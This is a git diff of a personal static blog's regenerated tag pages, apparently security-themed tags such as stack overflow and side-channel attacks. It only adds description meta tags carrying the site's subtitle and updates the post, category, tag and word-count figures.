           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/中间人/index.html b/tags/中间人/index.html
index 7efab46b..1b8f4a55 100644
--- a/tags/中间人/index.html
+++ b/tags/中间人/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/中间人/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/二进制/index.html b/tags/二进制/index.html
index 444bae52..15dcbb13 100644
--- a/tags/二进制/index.html
+++ b/tags/二进制/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/二进制/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/侧信道攻击/index.html b/tags/侧信道攻击/index.html
index 1237c7d0..c5acd312 100644
--- a/tags/侧信道攻击/index.html
+++ b/tags/侧信道攻击/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/侧信道攻击/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/取证/index.html b/tags/取证/index.html
index 73721d70..0c645c1b 100644
--- a/tags/取证/index.html
+++ b/tags/取证/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/取证/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/复原文件/index.html b/tags/复原文件/index.html
index 30e66944..f8cf3e88 100644
--- a/tags/复原文件/index.html
+++ b/tags/复原文件/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/复原文件/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/密码/index.html b/tags/密码/index.html
index a4f5535e..6d658ba2 100644
--- a/tags/密码/index.html
+++ b/tags/密码/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/密码/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/小米/index.html b/tags/小米/index.html
index 26a1357e..2c5a1d0a 100644
--- a/tags/小米/index.html
+++ b/tags/小米/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/小米/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -419,7 +422,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -429,7 +432,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -440,7 +443,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -451,7 +454,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -522,7 +525,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/微信/index.html b/tags/微信/index.html
index 8e3ba54f..8e978f68 100644
--- a/tags/微信/index.html
+++ b/tags/微信/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/微信/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/拒绝服务攻击/index.html b/tags/拒绝服务攻击/index.html
index ece1e3fe..89e25d6e 100644
--- a/tags/拒绝服务攻击/index.html
+++ b/tags/拒绝服务攻击/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/拒绝服务攻击/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/数据库/index.html b/tags/数据库/index.html
index f303b8f1..058e052b 100644
--- a/tags/数据库/index.html
+++ b/tags/数据库/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/数据库/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -393,7 +396,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -403,7 +406,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -414,7 +417,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -425,7 +428,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -496,7 +499,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/数据挖掘/index.html b/tags/数据挖掘/index.html
index 6763e361..19971d9a 100644
--- a/tags/数据挖掘/index.html
+++ b/tags/数据挖掘/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/数据挖掘/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/文件格式/index.html b/tags/文件格式/index.html
index ee587e29..ae0491a2 100644
--- a/tags/文件格式/index.html
+++ b/tags/文件格式/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/文件格式/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -393,7 +396,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -403,7 +406,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -414,7 +417,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -425,7 +428,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -496,7 +499,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/栈溢出/index.html b/tags/栈溢出/index.html
index a865e4b9..8bfab275 100644
--- a/tags/栈溢出/index.html
+++ b/tags/栈溢出/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/栈溢出/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/模型实现/index.html b/tags/模型实现/index.html
index d299bb68..af241b2e 100644
--- a/tags/模型实现/index.html
+++ b/tags/模型实现/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/模型实现/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
